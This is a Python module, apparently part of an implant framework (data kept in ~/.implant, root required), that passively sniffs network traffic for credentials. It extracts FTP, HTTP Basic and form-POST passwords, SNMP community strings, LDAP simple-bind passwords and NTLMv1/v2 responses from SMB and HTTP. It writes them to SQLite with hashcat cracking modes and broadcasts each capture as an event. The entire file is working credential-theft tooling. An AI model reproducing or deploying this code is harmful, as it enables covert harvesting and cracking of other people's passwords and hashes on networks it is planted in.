#!/usr/bin/env python3
"""Passive credential extraction from network traffic.

Extracts cleartext and hashed credentials from protocols:
  - FTP USER/PASS
  - HTTP Basic auth (base64 decode)
  - HTTP form POST (password fields)
  - SNMP community strings
  - LDAP simple bind
  - NTLMv1/v2 challenge-response from SMB and HTTP

Publishes CREDENTIAL_FOUND events immediately on capture.
Batch-writes to SQLite for persistence.
"""

import base64
import logging
import os
import re
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found

logger = logging.getLogger(__name__)

# Hashcat mode mapping
HASHCAT_MODES = {
    "ntlmv2": 5600,
    "ntlmv1": 5500,
    "net-ntlmv2": 5600,
    "net-ntlmv1": 5500,
    "ftp": 0,       # plaintext
    "http_basic": 0,
    "http_form": 0,
    "snmp": 0,
    "ldap_simple": 0,
}


class CredentialSniffer(BaseModule):
    """Extract credentials from network traffic in real time."""

    name = "credential_sniffer"
    module_type = "passive"
    priority = 80
    requires_root = True
    requires_capture_bus = True

    BATCH_SIZE = 100
    FLUSH_INTERVAL = 30

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._capture_bus = None
        self._sub_queue = None
        self._reader_thread: Optional[threading.Thread] = None
        self._flusher_thread: Optional[threading.Thread] = None
        self._buffer = []
        self._buffer_lock = threading.Lock()
        self._db_path = ""
        self._db_conn: Optional[sqlite3.Connection] = None
        self._total_creds = 0
        # Track FTP sessions: (src_ip, dst_ip, dst_port) -> last_user
        self._ftp_sessions = {}

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._capture_bus = self.config.get("capture_bus")
        if not self._capture_bus:
            logger.error("CredentialSniffer requires capture_bus in config")
            return

        base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
        self._db_path = os.path.join(base_dir, "credentials.db")
        Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
        self._init_db()

        # Load BPF filter from file or use default
        bpf_path = self.config.get("bpf_filter_path", "")
        bpf_filter = ""
        if bpf_path and os.path.isfile(bpf_path):
            with open(bpf_path) as f:
                lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
                bpf_filter = " ".join(lines)
        if not bpf_filter:
            bpf_filter = "port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445"

        self._sub_queue = self._capture_bus.subscribe(
            name=self.name, bpf_filter=bpf_filter, queue_depth=8000
        )

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self._reader_thread = threading.Thread(
            target=self._read_packets, daemon=True, name="sensor-cred-reader"
        )
        self._reader_thread.start()

        self._flusher_thread = threading.Thread(
            target=self._flush_loop, daemon=True, name="sensor-cred-flusher"
        )
        self._flusher_thread.start()

        self.state.set_module_status(self.name, "running", pid=os.getpid())
        logger.info("CredentialSniffer started")

    def stop(self) -> None:
        if not self._running:
            return
        self._running = False

        if self._capture_bus:
            self._capture_bus.unsubscribe(self.name)

        self._flush_buffer()
        if self._db_conn:
            self._db_conn.close()
            self._db_conn = None

        self.state.set_module_status(self.name, "stopped")
        logger.info("CredentialSniffer stopped — %d credentials captured", self._total_creds)

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "total_credentials": self._total_creds,
            "buffer_size": len(self._buffer),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Database
    # ------------------------------------------------------------------

    def _init_db(self) -> None:
        self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
        self._db_conn.execute("PRAGMA journal_mode=WAL")
        self._db_conn.execute("PRAGMA synchronous=NORMAL")
        self._db_conn.executescript("""
            CREATE TABLE IF NOT EXISTS credentials (
                id           INTEGER PRIMARY KEY AUTOINCREMENT,
                timestamp    REAL NOT NULL,
                source_ip    TEXT NOT NULL,
                target_ip    TEXT NOT NULL,
                target_port  INTEGER NOT NULL,
                service      TEXT NOT NULL,
                username     TEXT,
                domain       TEXT,
                cred_type    TEXT NOT NULL,
                cred_value   TEXT,
                hashcat_mode INTEGER
            );
            CREATE INDEX IF NOT EXISTS idx_cred_source ON credentials(source_ip);
            CREATE INDEX IF NOT EXISTS idx_cred_service ON credentials(service);
            CREATE INDEX IF NOT EXISTS idx_cred_ts ON credentials(timestamp);
        """)
        self._db_conn.commit()

    # ------------------------------------------------------------------
    # Packet reader
    # ------------------------------------------------------------------

    def _read_packets(self) -> None:
        while self._running:
            result = self._sub_queue.get(timeout=1.0)
            if result is None:
                continue
            ts, raw_packet = result
            try:
                self._parse_packet(ts, raw_packet)
            except Exception:
                pass

    def _parse_packet(self, ts: float, raw: bytes) -> None:
        """Route packet to appropriate protocol parser."""
        if len(raw) < 14:
            return

        eth_type = struct.unpack("!H", raw[12:14])[0]
        ip_offset = 14
        if eth_type == 0x8100:
            if len(raw) < 18:
                return
            eth_type = struct.unpack("!H", raw[16:18])[0]
            ip_offset = 18

        if eth_type != 0x0800:
            return

        if len(raw) < ip_offset + 20:
            return

        ip_hdr = raw[ip_offset:]
        ihl = (ip_hdr[0] & 0x0F) * 4
        ip_proto = ip_hdr[9]
        src_ip = socket.inet_ntoa(ip_hdr[12:16])
        dst_ip = socket.inet_ntoa(ip_hdr[16:20])

        if ip_proto == 6:  # TCP
            tcp_offset = ip_offset + ihl
            if len(raw) < tcp_offset + 20:
                return
            src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
            tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
            payload = raw[tcp_offset + tcp_hdr_len:]

            if not payload:
                return

            # FTP (port 21)
            if dst_port == 21 or src_port == 21:
                self._parse_ftp(ts, src_ip, dst_ip, dst_port, src_port, payload)

            # HTTP (port 80, 8080, 8443, etc.)
            if dst_port in (80, 8080, 8000, 8443, 3128):
                self._parse_http(ts, src_ip, dst_ip, dst_port, payload)

            # LDAP (port 389, 3268)
            if dst_port in (389, 3268):
                self._parse_ldap(ts, src_ip, dst_ip, dst_port, payload)

            # SMB (port 445) — NTLM auth
            if dst_port == 445 or src_port == 445:
                self._parse_smb_ntlm(ts, src_ip, dst_ip, dst_port, src_port, payload)

        elif ip_proto == 17:  # UDP
            udp_offset = ip_offset + ihl
            if len(raw) < udp_offset + 8:
                return
            src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
            payload = raw[udp_offset + 8:]

            # SNMP (port 161)
            if dst_port == 161:
                self._parse_snmp(ts, src_ip, dst_ip, dst_port, payload)

    # ------------------------------------------------------------------
    # Protocol parsers
    # ------------------------------------------------------------------

    def _parse_ftp(self, ts: float, src_ip: str, dst_ip: str,
                   dst_port: int, src_port: int, payload: bytes) -> None:
        """Parse FTP USER and PASS commands."""
        try:
            text = payload.decode("ascii", errors="ignore").strip()
        except Exception:
            return

        # Client -> Server commands
        ftp_target = dst_ip if dst_port == 21 else src_ip
        ftp_client = src_ip if dst_port == 21 else dst_ip
        ftp_port = 21

        session_key = (ftp_client, ftp_target, ftp_port)

        if text.upper().startswith("USER "):
            username = text[5:].strip()
            self._ftp_sessions[session_key] = username

        elif text.upper().startswith("PASS "):
            password = text[5:].strip()
            username = self._ftp_sessions.get(session_key, "")
            self._emit_credential(
                ts, ftp_client, ftp_target, ftp_port,
                "ftp", username, "", "plaintext", password, HASHCAT_MODES["ftp"],
            )

    def _parse_http(self, ts: float, src_ip: str, dst_ip: str,
                    dst_port: int, payload: bytes) -> None:
        """Parse HTTP Authorization headers and form POST data."""
        try:
            text = payload.decode("utf-8", errors="ignore")
        except Exception:
            return

        # HTTP Basic auth
        basic_match = re.search(
            r"Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
        )
        if basic_match:
            try:
                decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
                if ":" in decoded:
                    username, password = decoded.split(":", 1)
                    self._emit_credential(
                        ts, src_ip, dst_ip, dst_port,
                        "http_basic", username, "", "plaintext", password,
                        HASHCAT_MODES["http_basic"],
                    )
            except Exception:
                pass

        # NTLM over HTTP
        ntlm_match = re.search(
            r"Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)", text, re.IGNORECASE
        )
        if ntlm_match:
            self._parse_ntlm_token(
                ts, src_ip, dst_ip, dst_port, "http_ntlm",
                base64.b64decode(ntlm_match.group(1)),
            )

        # HTTP form POST with password fields
        if text.startswith("POST "):
            content_type_match = re.search(
                r"Content-Type:\s*application/x-www-form-urlencoded", text, re.IGNORECASE
            )
            if content_type_match:
                # Find body (after double CRLF)
                body_start = text.find("\r\n\r\n")
                if body_start == -1:
                    body_start = text.find("\n\n")
                if body_start >= 0:
                    body = text[body_start:].strip()
                    self._parse_form_post(ts, src_ip, dst_ip, dst_port, body)

    def _parse_form_post(self, ts: float, src_ip: str, dst_ip: str,
                         dst_port: int, body: str) -> None:
        """Extract username/password from URL-encoded form POST."""
        params = {}
        for pair in body.split("&"):
            if "=" in pair:
                key, value = pair.split("=", 1)
                params[key.lower()] = value

        # Look for common password field names
        password_keys = ["password", "passwd", "pass", "pwd", "user_password",
                         "login_password", "secret"]
        username_keys = ["username", "user", "login", "email", "userid",
                         "login_name", "user_name"]

        password = ""
        username = ""
        for pk in password_keys:
            if pk in params:
                password = params[pk]
                break

        if not password:
            return

        for uk in username_keys:
            if uk in params:
                username = params[uk]
                break

        self._emit_credential(
            ts, src_ip, dst_ip, dst_port,
            "http_form", username, "", "plaintext", password,
            HASHCAT_MODES["http_form"],
        )

    def _parse_snmp(self, ts: float, src_ip: str, dst_ip: str,
                    dst_port: int, payload: bytes) -> None:
        """Extract SNMP v1/v2c community strings from packets."""
        if len(payload) < 10:
            return

        # SNMP is BER/ASN.1 encoded
        # Sequence tag: 0x30
        if payload[0] != 0x30:
            return

        offset = 1
        # Skip sequence length
        if payload[offset] & 0x80:
            num_len_bytes = payload[offset] & 0x7F
            offset += 1 + num_len_bytes
        else:
            offset += 1

        # Version: Integer tag (0x02)
        if offset >= len(payload) or payload[offset] != 0x02:
            return
        offset += 1
        ver_len = payload[offset]
        offset += 1
        if offset + ver_len > len(payload):
            return
        version = int.from_bytes(payload[offset:offset + ver_len], "big")
        offset += ver_len

        # Only v1 (0) and v2c (1) have community strings
        if version > 1:
            return

        # Community string: OctetString tag (0x04)
        if offset >= len(payload) or payload[offset] != 0x04:
            return
        offset += 1
        if offset >= len(payload):
            return
        comm_len = payload[offset]
        offset += 1
        if offset + comm_len > len(payload):
            return

        community = payload[offset:offset + comm_len].decode("ascii", errors="replace")

        # Skip trivially useless ones
        if community.lower() in ("", "public"):
            return

        self._emit_credential(
            ts, src_ip, dst_ip, dst_port,
            "snmp", "", "", "community_string", community,
            HASHCAT_MODES["snmp"],
        )

    def _parse_ldap(self, ts: float, src_ip: str, dst_ip: str,
                    dst_port: int, payload: bytes) -> None:
        """Extract LDAP simple bind credentials."""
        if len(payload) < 14:
            return

        # LDAP messages are BER encoded
        # Sequence (0x30)
        if payload[0] != 0x30:
            return

        offset = 1
        # Skip outer sequence length
        seq_len, offset = self._ber_length(payload, offset)
        if seq_len < 0:
            return

        # MessageID: Integer (0x02)
        if offset >= len(payload) or payload[offset] != 0x02:
            return
        offset += 1
        id_len, offset = self._ber_length(payload, offset)
        if id_len < 0:
            return
        offset += id_len

        # BindRequest: Application[0] = 0x60
        if offset >= len(payload) or payload[offset] != 0x60:
            return
        offset += 1
        bind_len, offset = self._ber_length(payload, offset)
        if bind_len < 0:
            return

        # Version: Integer (0x02)
        if offset >= len(payload) or payload[offset] != 0x02:
            return
        offset += 1
        ver_len, offset = self._ber_length(payload, offset)
        if ver_len < 0:
            return
        offset += ver_len

        # DN: OctetString (0x04)
        if offset >= len(payload) or payload[offset] != 0x04:
            return
        offset += 1
        dn_len, offset = self._ber_length(payload, offset)
        if dn_len < 0 or offset + dn_len > len(payload):
            return
        dn = payload[offset:offset + dn_len].decode("utf-8", errors="replace")
        offset += dn_len

        # Auth choice: Simple = Context[0] = 0x80
        if offset >= len(payload) or payload[offset] != 0x80:
            return
        offset += 1
        pass_len, offset = self._ber_length(payload, offset)
        if pass_len < 0 or offset + pass_len > len(payload):
            return
        password = payload[offset:offset + pass_len].decode("utf-8", errors="replace")

        if not password:
            return

        self._emit_credential(
            ts, src_ip, dst_ip, dst_port,
            "ldap_simple", dn, "", "plaintext", password,
            HASHCAT_MODES["ldap_simple"],
        )

    def _parse_smb_ntlm(self, ts: float, src_ip: str, dst_ip: str,
                         dst_port: int, src_port: int, payload: bytes) -> None:
        """Extract NTLM auth from SMB2 session setup messages."""
        # SMB2 header: 0xFE 'S' 'M' 'B'
        # Search for NTLMSSP signature in payload
        ntlmssp_offset = payload.find(b"NTLMSSP\x00")
        if ntlmssp_offset < 0:
            return

        ntlm_data = payload[ntlmssp_offset:]
        target_ip = dst_ip if dst_port == 445 else src_ip
        client_ip = src_ip if dst_port == 445 else dst_ip

        self._parse_ntlm_token(ts, client_ip, target_ip, 445, "smb", ntlm_data)

    def _parse_ntlm_token(self, ts: float, src_ip: str, dst_ip: str,
                          dst_port: int, service: str, data: bytes) -> None:
        """Parse NTLMSSP authentication message (Type 3) for NTLMv1/v2 hashes."""
        if len(data) < 12:
            return

        # Check NTLMSSP signature
        if data[:8] != b"NTLMSSP\x00":
            return

        msg_type = struct.unpack("<I", data[8:12])[0]

        if msg_type == 3:  # AUTHENTICATE_MESSAGE
            if len(data) < 72:
                return

            # Parse field offsets
            lm_len = struct.unpack("<H", data[12:14])[0]
            lm_off = struct.unpack("<I", data[16:20])[0]
            nt_len = struct.unpack("<H", data[20:22])[0]
            nt_off = struct.unpack("<I", data[24:28])[0]
            domain_len = struct.unpack("<H", data[28:30])[0]
            domain_off = struct.unpack("<I", data[32:36])[0]
            user_len = struct.unpack("<H", data[36:38])[0]
            user_off = struct.unpack("<I", data[40:44])[0]

            # Extract fields
            try:
                domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace")
                username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace")
            except Exception:
                return

            if not username:
                return

            # Determine NTLMv1 vs NTLMv2
            if nt_len == 24:
                # NTLMv1
                nt_hash = data[nt_off:nt_off + nt_len].hex()
                lm_hash = data[lm_off:lm_off + lm_len].hex() if lm_len > 0 else ""
                cred_value = f"{username}::{domain}:{lm_hash}:{nt_hash}:"
                cred_type = "ntlmv1"
                hashcat_mode = HASHCAT_MODES["ntlmv1"]
            elif nt_len > 24:
                # NTLMv2
                nt_response = data[nt_off:nt_off + nt_len]
                nt_proof = nt_response[:16].hex()
                nt_blob = nt_response[16:].hex()
                # Server challenge would ideally come from Type 2 message
                # For now, format as hashcat-compatible partial
                cred_value = f"{username}::{domain}::{nt_proof}:{nt_blob}"
                cred_type = "ntlmv2"
                hashcat_mode = HASHCAT_MODES["ntlmv2"]
            else:
                return

            self._emit_credential(
                ts, src_ip, dst_ip, dst_port,
                service, username, domain, cred_type, cred_value, hashcat_mode,
            )

    @staticmethod
    def _ber_length(data: bytes, offset: int) -> tuple:
        """Read a BER-encoded length. Returns (length, new_offset) or (-1, offset) on error."""
        if offset >= len(data):
            return -1, offset
        first = data[offset]
        offset += 1
        if first & 0x80 == 0:
            return first, offset
        num_bytes = first & 0x7F
        if num_bytes == 0 or offset + num_bytes > len(data):
            return -1, offset
        length = int.from_bytes(data[offset:offset + num_bytes], "big")
        return length, offset + num_bytes

    # ------------------------------------------------------------------
    # Credential emission
    # ------------------------------------------------------------------

    def _emit_credential(self, ts: float, src_ip: str, target_ip: str,
                         target_port: int, service: str, username: str,
                         domain: str, cred_type: str, cred_value: str,
                         hashcat_mode: int) -> None:
        """Buffer credential for SQLite and immediately publish bus event."""
        self._total_creds += 1

        record = (ts, src_ip, target_ip, target_port, service,
                  username, domain, cred_type, cred_value, hashcat_mode)

        with self._buffer_lock:
            self._buffer.append(record)
            if len(self._buffer) >= self.BATCH_SIZE:
                self._flush_buffer()

        # Immediate bus notification
        emit_credential_found(self.bus, self.name, {
            "source_ip": src_ip,
            "target_ip": target_ip,
            "target_port": target_port,
            "service": service,
            "username": username,
            "domain": domain,
            "cred_type": cred_type,
            "hashcat_mode": hashcat_mode,
        })

        logger.info(
            "CREDENTIAL: %s %s@%s:%d (%s/%s)",
            service, username, target_ip, target_port, cred_type,
            f"hashcat -m {hashcat_mode}" if hashcat_mode else "plaintext",
        )

    # ------------------------------------------------------------------
    # Buffer flush
    # ------------------------------------------------------------------

    def _flush_loop(self) -> None:
        while self._running:
            time.sleep(self.FLUSH_INTERVAL)
            try:
                self._flush_buffer()
            except Exception:
                logger.exception("Credential flush error")

    def _flush_buffer(self) -> None:
        with self._buffer_lock:
            batch = list(self._buffer)
            self._buffer.clear()

        if not batch or not self._db_conn:
            return

        try:
            self._db_conn.executemany(
                "INSERT INTO credentials "
                "(timestamp, source_ip, target_ip, target_port, service, "
                "username, domain, cred_type, cred_value, hashcat_mode) "
                "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
                batch,
            )
            self._db_conn.commit()
        except Exception:
            logger.exception("Failed to flush %d credentials", len(batch))
